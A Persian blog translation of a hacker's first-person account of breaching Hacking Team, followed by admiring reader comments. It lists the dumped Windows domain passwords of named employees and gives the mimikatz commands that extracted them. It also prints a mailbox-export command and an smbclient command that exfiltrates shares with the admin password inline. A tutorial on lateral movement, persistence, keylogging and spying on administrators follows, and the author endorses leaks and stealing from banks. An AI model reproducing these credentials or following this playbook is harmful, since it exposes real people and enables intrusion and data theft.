پس از مهاجرت به یک پروسس جدید، از دستورات زیر در متاسپلویت برای استخراج اطلاعات کاربران لاگین شده از حافظه سرور استفاده کردم:

load kiwi
creds_wdigest

توانستم پسورد تعدادی از کاربران از جمله ادمین دامنه (Domain admin) را استخراج کنم:

HACKINGTEAM  BESAdmin       bes32678!!!
HACKINGTEAM  Administrator  uu8dd8ndd12!
HACKINGTEAM  c.pozzi        P4ssword      <—- lol great sysadmin
HACKINGTEAM  m.romeo        ioLK/(90
HACKINGTEAM  l.guerra       4luc@=.=
HACKINGTEAM  d.martinez     W4tudul3sp
HACKINGTEAM  g.russo        GCBr0s0705!
HACKINGTEAM  a.scarafile    Cd4432996111
HACKINGTEAM  r.viscardi     Ht2015!
HACKINGTEAM  a.mino         A!e$$andra
HACKINGTEAM  m.bettini      Ettore&Bella0314
HACKINGTEAM  m.luppi        Blackou7
HACKINGTEAM  s.gallucci     1S9i8m4o!
HACKINGTEAM  d.milan        set!dob66
HACKINGTEAM  w.furlan       Blu3.B3rry!
HACKINGTEAM  d.romualdi     Rd13136f@#
HACKINGTEAM  l.invernizzi   L0r3nz0123!
HACKINGTEAM  e.ciceri       2O2571&2E
HACKINGTEAM  e.rabe         erab@4HT!

مترجم: kiwi افزونه‌ی ابزار معروف mimikatz برای meterpreter در متاسپلویت است و چون مهاجم در سرور مذکور دسترسی ادمین داشت، توانست پسورد کاربران لاگین شده را از حافظه ی RAM استخراج کند.

دانلود ایمیل‌ها

با داشتن رمز عبور ادمین دامنه، من به سرور ایمیل شرکت که قلب آن محسوب می‌شود دسترسی داشتم. چون در هر یک از مراحل نفوذ احتمال تشخیص آن وجود دارد، من قبل از این که جستجو را ادامه دهم، ابتدا ایمیل‌ها را دانلود کردم.

با استفاده از Powershell کار من راحت بود. همچنین، من یک باگ در استفاده از فرمت تاریخ در پاورشل پیدا کردم. بعد از دانلود ایمیل‌ها، من دو هفته برای سرقت سورس‌کد‎ها و چیز‎های دیگر وقت گذاشتم. در این دو هفته هر زمان که بر‎می‌گشتم، ایمیل‎های جدید را دانلود می‌کردم. سرور ایتالیایی بود و تاریخ به این شکل day/month/year استفاده می‌شد. بنابراین من از دستور زیر برای دانلود ایمیل‌های جدید از تاریخ June 5 به بعد استفاده کردم:

New-MailboxExportRequest-ContentFilter {(Received -ge ’05/06/2015′) -or (Sent -ge ’05/06/2015′)}

باگی که وجود دارد این است که اگر شما یک روز بزرگتر از 12 را استفاده کنید خطای تاریخ نامعتبر نشان داده می‌شود. (من فکر می‌کنم در ایالات متحده ابتدا ماه بیان می‌شود و سپس روز یعنی month/day/year به همین دلیل نمی‌توان ماهی با عدد بزرگتر از 12 داشت) . به نظر می‌رسد مهندسان مایکروسافت نرم افزارهایشان را فقط با در نظر گرفتن فرمت مرسوم در موقعیت خودشان (ایالات متحده) تست می‌کنند.

دانلود فایل‌ها

چون من دسترسی ادمین دامنه را داشتم فایل‌های به اشتراک گذاشته شده را دانلود کردم. این کار با استفاده از proxychains و فلگ Tc ابزار smbclient انجام شد:

proxychains smbclient ‘//192.168.1.230/FAE DiskStation’ -U ‘HACKINGTEAM/Administrator%uu8dd8ndd12!’ -Tc FAE_DiskStation.tar ‘*’

من دایرکتورل‌های Amministrazione ، FAE DiskStation و FileServer را پس از دانلود در تورنت منتشر کردم.

معرفی هک دامنه‌های ویندوزی

قبل از ادامه دادن داستان هکینگ‌تیم، می‌خواهم به صورت عمومی در مورد هک شبکه‌های ویندوزی صحبت کنم:

حرکت جانبی (Lateral Movement)

مترجم: حرکت جانبی یا گسترش جانبی در تست نفوذ عبارت است از مجموعه تکنیک‌هایی که مهاجم برای گسترش دسترسی در شبکه یا سیستم و هدف قرار دادن کاربران و دستگاه‌های دیگر استفاده می‌کند. معمولاً پس از این که مهاجم توانست وارد شبکه‌ی داخلی هدف شود، سعی می‌کند سایر کاربران و دستگاه‌های شبکه را شناسایی و آن‌ها را برای به دست آوردن اطلاعات حساس هدف قرار دهد.

من خلاصه‌ای در مورد تکنیک‌های مختلف برای گسترش دسترسی در شبکه‌های ویندوزی ارائه می‌کنم. تکنیک‌های مورد استفاده برای اجرای کد و کنترل، نیازمند پسورد یا هش احراز هویت یک ادمین محلی (local admin) در سیستم یا شبکه‌ی هدف هستند.

معمول‌ترین روش برای به دست آوردن این اطلاعات تاکنون، استفاده از ابزار mimikatz بوده است. با استفاده از mimikatz و به خصوص با اجرای این دستورات:

sekurlsa::logonpasswords
sekurlsa::msv

بر روی سیستم هدف با دسترسی ادمین می‌توان اطلاعات احراز هویت کاربران لاگین شده را استخراج کرد.

تکنیک‌های فوری و درجا برای حرکت جانبی نیازمند دسترسی ادمین هستند. (به جز runas) برای به دست آوردن دسترسی ادمین ممکن است نیاز به حمله‌ی تشدید دسترسی (Privilege Escalation) باشد. ابزار‎های PowerUp و bypassuac برای این منظور استفاده می‌شوند.

گسترش جانبی از راه دور (Remote Movement)

  • psexec
    روشی واقعی و آزموده شده برای حرکت جانبی در ویندوز، می‌توانید از psexec،  winexe، ماژول psexec_psh در متاسپلویت، ماژول invoke_psexec در PowerShell Empire یا دستور sc در ویندوز استفاده کنید.
    برای ماژول متاسپلویت، ماژول PowerShell Empire و pth-winexe تنها نیاز به هش است و پسورد لازم نیست. این روش فراگیرترین روش است (این روش روی هر سیستم ویندوزی با پورت باز 445 جواب می‌دهد)، ولی این روش مخفی کاری کمتری دارد چرا که بسیاری از رویداد‎ها در لاگ‌ها ثبت می‌شوند. طبق تجربه ی من، تاکنون هنگام عملیات نفوذ کسی متوجه استفاده از این روش نشده است، ولی این روش به کارآگاهان جرایم سایبری کمک می‌کند که پس از نفوذ تکه‌های پازل را کنار هم قرار دهند و تحرکات هکر را شناسایی کنند.
  • WMI
    این روش بیشترین مخفی کاری را دارد و ردپای کمی برجا می‌گذارد. سرویس WMI بر روی تمام سیستم‌های ویندوزی فعال است، اما به جز سرور‎ها، توسط فایروال به صورت پیشفرض بلاک می‌شود. شما می‌توانید از wmiexec.py، pth-wmis، ماژول invoke_wmi در PowerShell Empire یا wmic در ویندوز استفاده کنید. برای همه ی این موارد به جز wmic تنها به هش نیاز دارید.
  • PSRemoting
    به صورت پیشفرض غیرفعال شده است و من پیشنهاد می‌کنم که درعملیات نفوذ پروتکل‌های جدیدی را فعال نکنید. اما اگر این قابلیت توسط مدیر سیستم فعال شده است، استفاده از آن خیلی راحت است به خصوص اگر برای همه‌ی کارها از پاورشل استفاده می‌کنید (و تقریباً برای همه چیز باید از پاورشل استفاده کنید!) پاورشل کمک می‌کند که هر چیز مربوط به RAM را انجام دهید، از مشکلات مربوط به آنتی ویروس جلوگیری کنید و ردپای کمتری باقی بگذارید!
  • وظایف زمان بندی شده (Scheduled Tasks)
    شما می‌توانید برنامه‎ها را از راه دور با استفاده از schtasks اجرا کنید. این روش شبیه استفاده از روش psexec است. همچنین، ردپاهای زیادی با استفاده از این روش باقی می‌ماند.
  • GPO
    اگر تمامی پروتکل‌ها غیرفعال شده اند و یا توسط فایروال مسدود شده اند، اگر دسترسی ادمین دامنه (Domain admin) دارید، می‌توانید از GPO استفاده کنید تا به کاربران اسکریپت لاگین بدهید، فایل msi نصب کنید و یا یک وظیفه ی زمان بندی شده (scheduled task) را اجرا کنید. همچنین، می‌توانید از GPO برای فعال کردن WMI و باز کردن فایروال استفاده کنید. من از این روش برای دسترسی به کامپیوتر Mauro Romeo استفاده کردم. Mauro Romeo یکی از مدیر‌سیستم‌های هکینگ‌تیم بود.

حرکت جانبی فوری و درجا

  • سرقت توکن (Token Stealing)
    هنگامی که شما بر روی یک کامپیوتر دسترسی ادمین دارید، می‌توانید از توکن سایر کاربران برای دسترسی به منابع در دامنه استفاده کنید. دو ابزار مورد استفاده برای این منظور incognito و دستورات token::* در mimikatz هستند.
  • آسیب‌پذیری‌های MS14-068 و MS16-014
    اگر این آسیب‌پذیری‌ها در Kerberos رفع نشده باشند، با بهره‌گیری از آن‌ها می‌توان بلیت دسترسی ادمین دامنه (Domain admin tickets) را تولید کرد.
  • Pass the Hash
    اگر شما هش یک کاربر را دارید ولی آن کاربر لاگین نیست، می‌توانید با دستور sekurlsa::pth در mimikatz بلیت (ticket) دسترسی به حساب آن کاربر را داشته باشید.
  • تزریق پروسس (Process Injection)
    بدافزارهای (RAT (Remote Access Tool می‌توانند خود را به سایر پروسس‌ها تزریق کنند. برای این منظور می‌توان از دستور migrate در meterpreter، ابزار pupy یا دستور psinject در Powershell Empire استفاده کرد. شما می‌توانید تزریق را به پروسسی انجام دهید که توکنی را که شما می‌خواهید دارد.
  • runas
    این مورد گاهی بسیار سودمند است به خصوص که نیازی به دسترسی ادمین ندارد. runas قسمتی از ویندوز است ولی اگر به رابط کاربری گرافیکی (GUI) دسترسی ندارید، می‌توانید از پاورشل استفاده کنید.

ماندگاری (Persistence)

وقتی شما به هدف دسترسی پیدا می‌کنید، سعی می‌کنید که دسترسی باقی بماند تا در آینده بدون مشکل به سیستم هدف برگردید. راستش را بخواهید، حفظ دسترسی فقط برای احمق‌هایی مثل هکینگ‌تیم مهم است که فعالان مدنی و سایر افراد معمولی را هدف قرار می‌دهند. برای هک یک شرکت نیازی به ماندگاری دسترسی نیست چرا که شرکت‌ها همیشه بیدارند و سرور‌ها در بلند مدت خاموش نمی‌شوند!

من برای حفظ دسترسی و ماندگاری از روشی مشابه Duqu 2 استفاده می‌کنم.

مترجم: Duqu 2 بدافزاری بدون فایل (fileless) از خانواده استاکس نت است که هدف آن جاسوسی از مذاکرات هسته‌ای ایران بود. این بدافزار مستقیماً داخل RAM اجرا می‌شود و روشی که این بدافزار برای ماندگاری استفاده می‌کند غیرمعمول است.

من بدافزار را مستقیماً داخل RAM دو سرور که UpTime بالایی دارند اجرا می‌کنم. (UpTime مدت زمانی است که از روشن شدن سیستم می‌گذرد). در صورتی که همه‌ی سرور‎ها همزمان ریستارت شوند، برای بازیابی دسترسی از پسورد‎های سرقت شده و بلیت طلایی (Golden Ticket) استفاده می‌کنم.

مترجم: بلیت طلایی یک توکن مربوط به اکانت خاص KRBTGT در Active Directory است که با استفاده از آن می‌توان به هر حساب موجود در دامنه دسترسی داشت.

برای اطلاعات بیشتر در مورد تکنیک‌های مختلف ماندگاری در ویندوز می‌توانید منابع زیر را مطالعه کنید:

http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
https://blog.netspi.com/tag/persistence/
http://www.hexacorn.com/blog/category/autostart-persistence/

در مورد شرکت‌ها، ماندگاری واقعاً لازم نیست و ریسک تشخیص حمله را بالا می‌برد.

شناسایی داخلی (Internal reconnaissance)

امروزه بهترین ابزار برای درک شبکه‌هی ویندوزی ابزار Powerview است. ارزش دارد هرچیزی را که نویسنده این ابزار نوشته است بخوانید:

http://www.harmj0y.net/blog/tag/powerview/
http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
http://www.harmj0y.net/blog/redteaming/powerview-2-0/
http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
http://www.slideshare.net/harmj0y/i-have-the-powerview/

همچنین، پاورشل خودش یک ابزار بسیار قدرتمند است. هنوز سرور‎های ویندوزی بسیاری وجود دارند که از نسخه‌های 2000 و 2003 استفاده می‌کنند و پاورشل بر روی این سرور‎ها نصب نیست. برای این سرور‎ها، لازم است که برخی تکنیک‌های قدیمی را یاد بگیرید. این تکنیک‌های قدیمی شامل کار با netview.exe و دستور “net view” در ویندوز است.

برخی دیگر از تکنیک‌های مورد علاقه‌ی من عبارت اند از:

  • دانلود لیستی از فایل‌ها
    اگر دسترسی ادمین دامنه را دارید، با استفاده از powerview می‌توانید لیست تمام فایل‌ها در شبکه را داشته باشید:

    Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
    select-string ‘^(.*) \t-‘ | %{dir -recurse $_.Matches[0].Groups[1] |
    select fullname | out-file -append files.txt}

    بعداً در اوقات فراغت می‌توانید لیست را بررسی کنید و فایل‌هایی را که می‌خواهید، برای دانلود انتخاب کنید.
  • خواندن ایمیل‌ها
    همان طور که قبلاً دیدید، برای دانلود ایمیل‌ها می‌توانید از پاورشل استفاده کنید و این ابزار اطلاعات زیادی را به ما می‌دهد.
  • خواندن شیرپوینت (SharePoint)
    شیرپوینت یکی از جاهایی است که بسیاری از شرکت‌ها خیلی از اطلاعات مهم را در آن ذخیره می‌کنند. می‌توان از پاورشل برای دانلود این اطلاعات استفاده کرد.
  • اکتیو دایرکتوری (Active Directory)
    در اکتیو دایرکتوری اطلاعات با ارزش زیادی در مورد کاربران و کامپیوتر‎ها وجود دارد. حتی بدون دسترسی ادمین دامنه با استفاده از powerview و ابزار‎های دیگر، می‌توانید اطلاعات زیادی را به دست آورید. پس از گرفتن دسترسی ادمین دامنه می‌توانید با استفاده از ابزار csvde یا یک ابزار دیگر تمام اطلاعات اکتیو دایرکتوری را استخراج کنید.
  • شنود کارمندان
    یکی از سرگرمی‌های مورد علاقه من شکار مدیر‌سیستم‎ها است. با جاسوسی از Christian Pozzi (یکی از مدیر سیستم‌های هکینگ‌تیم) توانستم به سرور Nagios دسترسی پیدا کنم. از طریق این سرور به شبکه‌ی توسعه‌ی بدافزار‎ها دسترسی پیدا کردم و سورس‎کد بدافزار‎ها را سرقت کردم. با استفاده از دستورات Get-Keystrokes و Get-TimedScreenshot در ابزار PowerSploit و دستور Do-Exfiltration در ابزار nishang و GPO می‌توان از هر کاربر دلخواه یا حتی کل دامنه جاسوسی کرد.

شکار مدیر‌سیستم‌ها!

با خواندن مستندات هکینگ‌تیم در مورد زیرساخت‌ها، متوجه شدم که من به یک چیز مهم هنوز دسترسی ندارم: شبکه‌ای ایزوله با نام Rete Sviluppo (ترجمه از ایتالیایی: شبکه‌ی توسعه) که سورس کد بدافزار‎ها در آن نگهداری می‌شد.

مدیر‌سیستم‌های یک شرکت همیشه به همه چیز دسترسی دارند. بنابراین، کامپیوتر دو تن از مدیر‌سیستک‌های هکینگ‌تیم، Mauro Romeo و Christian Pozzi را جستجو کردم تا بفهمم که آن‎ها چگونه این شبکه را مدیریت می‌کنند. همچنین، می‌خواستم بدانم که آیا سیستم‌های جذاب دیگری هستند تا بررسی کنم یا نه.

دسترسی به کامپیوتر این دو کارمند خیلی راحت بود، چرا که آن‎ها همواره عضو دامنه‌ای بودند که من دسترسی ادمین آن را داشتم. کامپیوتر Mauro Romeo هیچ پورت بازی نداشت. پورت را برای WMI باز کردم و meterpreter متاسپلویت را برای جاسوسی از این دو کارمند استفاده کردم.

در عملیات جاسوسی، از کیلاگر استفاده کردم، فایل‌های کامپیوتر را جستجو کردم، نمایشگر را رصد کردم، از اسکریپت پاورشل CredMan.ps1  برای جستجوی اطلاعات احراز هویت استفاده کردم و…

تا این که در کامپیوتر Christian Pozzi یک پارتیشین هارد دیسک رمز شده با استفاده از TrueCrypt پیدا کردم. هارد دیسک رمزنگاری شده بدون داشتن پسورد رمزنگاری قابل خواندن نیست. صبر کردم تا Christian Pozzi این پارتیشین را استفاده کند و پارتیشن از حالت رمز خارج شود. وقتی او این کار را انجام داد، من فایل‌های این پارتیشن را کپی کردم.

پس از افشای اطلاعات هکینگ‌تیم، خیلی‌ها Christian Pozzi را به خاطر پسورد‎های ضعیف استفاده شده مسخره کردند اما من آن‌ها را برای رد گم کنی منتشر کرده بودم! حقیقت این است که هیچ پسوردی از دید کیلاگر‎ها و mimikatz پنهان نیست! حتی پسورد‎های بسیار پیچیده! با این وجود، بسیاری از اطلاعات افشا شده مربوط به Christian Pozzi است و من به او می‌خندم!

پل

در پارتیشین TrueCrypt پیدا شده یک فایل متنی وجود داشت که در آن تعداد زیادی پسورد ذخیره شده بود. یکی از پسورد‎ها برای یک سرور تمام اتوماتیک با نام Nagios بود. این سرور به شبکه‌ی توسعه‌ی بدافزار دسترسی داشت و آن را رصد می‌کرد. من پل وارد شدن به این شبکه را پیدا کرده بودم. فایل متنی فقط پسورد ورود به محیط کاربری وب را داشت، اما من یک اکسپلویت اجرای کد از راه دور برای محیط وب سرور پیدا کردم که قبلاً عمومی شده بود:

http://web.archive.org/web/20150106182519/http://seclists.org/fulldisclosure/2014/Oct/78/

این اکسپلویت نیازی به احراز هویت نداشت (Unauthenticated)، اما لازم بود که حداقل یک نفر قبلاً وارد حساب شده باشد تا اکسپلویت کار کند. بنابراین، با استفاده از پسورد وارد حساب شدم و سپس اکسپلویت را اجرا کردم تا به سرور نفوذ کنم و دسترسی بگیرم.

استفاده‌ی مجدد و بازنشانی رمز عبور

پس از خواندن ایمیل‌ها، متوجه شدم Daniele Milan به مخازن گیت دسترسی دارد. من رمز حساب ویندوز او را قبلاً با mimikatz پیدا کرده بودم. نام کاربری و رمز او را برای ورود به سرور گیت تست کردم و موفق شدم وارد حساب او شوم.

برای تصاحب سرور GitLab و اکانت توییتر هکینگ‌تیم، از قابلیت بازیابی پسورد (password reset) استفاده کردم، چرا که من به سرور ایمیل برای بازنشانی رمز‎ها دسترسی داشتم.

ختم کلام

آن چه گفته شد، همه‌ی چیزی بود که برای متوقف کردن یک شرکت ناقض حقوق بشر انجام شد. زیبایی هک کردن در نامتقارن بودن آن است. فقط با صد ساعت تلاش یک نفر، زحمات چند ساله ی یک شرکت شیطانی ثروتمند از بین رفت.

در سال 2020، بنیانگذار هکینگ‌تیم رسماً اعلام کرد که “هکینگ‌تیم مرده است”.

هک کردن این شانس را به اقشار مورد ستم می‌دهد که مبارزه کنند و پیروز شوند. اغلب آموزش‌های امنیت و هک با این جملات برای سلب مسئولیت به پایان می‌رسند:

این مطلب فقط برای اهداف آموزشی است، هکر”اخلاقی” باشید و هرگز به سیستم‌هایی که اجازه ندارید حمله نکنید.

من نیز همین را می‌گویم، فقط منظور من از کلمه‌ی “اخلاقی” کمی سرکشانه است! افشای اسناد، سلب مالکیت پول از بانک‌ها و تلاش برای امن کردن کامپیوتر‌ها برای مردم عادی کاملاً “اخلاقی” است. به هر حال، بسیاری از افرادی که خود را “هکر اخلاقی” می‌نامند، فقط برای تأمین امنیت کسانی کار می‌کنند که به آن‌ها پول خوبی برای مشاوره می‌دهند. همان کسانی که سزاوار هک شدن هستند!

من Vincenzetti، شرکت او (هکینگ تیم)، دوستان او در اداره ی پلیس، Carabinieri و حکومت را در امتداد فاشیسم تاریخی ایتالیا می‌بینم. این مطلب را به قربانیان حمله به مدرسه‌ی Armando Diaz و همه‌ی کسانی تقدیم می‌کنم که خونشان توسط فاشیست‌های ایتالیا به زمین ریخته شد.

“اگر تو نه، پس کی؟

              اگر الان نه، پس کِی؟”

5 پست نوشته شده
محقق آسیب پذیری، تست نفوذ و تحلیل بدافزار.
  • به اشتراک بگذارید:
  1. رضا گفت:

    واقعا عالی بود
    سپاس فراوان

  2. Saman گفت:

    آدم توقع چنین مقالاتی رو تو سایتهای فارسی زبان نداره
    keep up the good work (Y)

  3. محمد گفت:

    زیبا و بسیار فوق‌العاده. ممنون از تو علی عزیز که این‌همه وقت و انرژی گذاشتی. کلش رو خوندم، یادداشت برداشتم و بسیار برام مفید بود.
    هم فلسفه و هم تکنیک خوبی داشت. دوست دارم مطالب بیش‌تری مثل این توی بلاگ خفنتون ببینم.
    باز هم متشکر ازت!

  4. Nima گفت:

    عالی و آمورنده بود
    ممنون بابت ترجمه

  5. حامد مقدسی پور گفت:

    عالی بود،واقعا جای همچین مقالاتی خالی بود،اگر دوستان بتونن مقاله اصلی رو مطالعه کنن،جزئیات بیشتری بدست میارند.مرسی از علی جان بابت ترجمه خودمونیش

    • یاشار شاهین‌زاده گفت:

      دقیقا، مقاله اصلی خیلی کامل‌تر هست

    • علی دینی‌فر گفت:

      سلام. با شما موافقم که مطالعه ی مطالب فنی بهتره به زبان اصلی باشه. امیدوارم در آینده هم مقالات خوبی رو داشته باشیم. ممنونم بابت نظر 🙂

  6. جواد دادگر گفت:

    سلام خیلی مطلب خوبی بود و خیلی خوب بود که برای مطالعه بیشتر لینک رفرنس گذاشته بودین خسته نباشید واقعا

  7. Cyber گفت:

    سلام یه خداقوت جانانه باید بگم اقایاشار

    خیلی وقت بود تو سایتای ایرانی همچین منابع نابی نبود….خسته نباشید واقعا

    امیدوارم شمارو نبندن حداقل….منتظر مقالات جدیدتون هستیم مشتاقانه دوست من

  8. رضا صالحی گفت:

    خیلی خیلی جالب بود .

  9. vahaggn گفت:

    باید مطلب چند با با تمرکز بالا خونده بشه واقعا خیلی خوبه

  10. adel گفت:

    خیلی مفید بود 🙂
    مرسی از دوستن

  11. Amir گفت:

    عالی بود

دیدگاه شما در مورد یاشار شاهین‌زاده